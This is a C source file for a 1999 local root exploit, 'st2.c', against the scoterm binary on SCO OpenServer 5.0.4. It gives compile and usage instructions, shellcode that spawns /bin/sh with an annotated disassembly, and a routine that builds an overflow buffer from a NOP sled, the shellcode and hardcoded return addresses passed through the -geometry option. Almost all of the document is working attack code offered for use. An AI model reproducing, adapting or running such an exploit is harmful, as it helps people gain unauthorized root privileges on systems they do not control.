/*
 * <st2.c> Local root exploit 
 *
 * Offset: /usr/bin/X11/scoterm => Work only against patched binaries,
 * for default binaries use the old exploit.
 * -2000 -> Started from scoterm or xterm on localhost
 * 0 -> Started from remote telnet (with valid display parameter)
 *
 * Usage: 
 * $ cc st2.c -o st2
 * $ /usr/bin/X11/scoterm -display 1.1.1.1:0 -geometry `st2 0`
 *
 * By: The Dark Raver of CPNE (Spain - 5/8/99) 
 *
 * <http://members.tripod.com/~ochodedos> - <doble@iname.com>
 *
 */ 

#include <stdlib.h>
#include <stdio.h>

char hell[]=
"\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0"
"\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff"
"\xff\xff/bin/sh\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa";

/*
  char hell[]=
  "\xeb\x1b" // start: jmp uno 
  "\x5e" // dos: popl %esi
  "\x31\xdb" // xorl %ebx,%ebx
  "\x89\x5e\x07" // movb %bl,0x7(%esi)
  "\x89\x5e\x0c" // movl %ebx,0x0c(%esi)
  "\x88\x5e\x11" // movb %bl,0x11(%esi)
  "\x31\xc0" // xorl %eax,%eax
  "\xb0\x3b" // movb $0x3b,%al
  "\x8d\x7e\x07" // leal 0x07(%esi),%edi
  "\x89\xf9" // movl %edi,%ecx
  "\x53" // pushl %ebx
  "\x51" // pushl %ecx
  "\x56" // pushl %esi
  "\x56" // pushl %esi
  "\xeb\x10" // jmp execve
  "\xe8\xe0\xff\xff\xff" // uno: call dos
  "/bin/sh"
  "\xaa\xaa\xaa\xaa"
  "\x9a\xaa\xaa\xaa\xaa\x07\xaa"; // execve: lcall 0x7,0x0 
*/
                       
#define OFF 0x7fffeb80 	// SCO OpenServer 5.0.4
#define ALINEA 2
#define LEN 1500
                       
int main(int argc, char *argv[]) {
  int offset=0;
  char buf[LEN];
  int i;

  if(argc < 2) {
    printf("Usage: st2 <offset>\n"); 
    exit(0);
  } else {
    offset=atoi(argv[1]);
  }

  memset(buf,0x90,LEN);
  memcpy(buf+600,hell,strlen(hell));
  for(i=700+ALINEA;i<LEN-4;i+=4)
    *(int *)&buf[i]=OFF+offset;

  for(i=0;i<LEN;i++)
    putchar(buf[i]);
        
  exit(0);        
}
/*                    www.hack.co.za              [2000]*/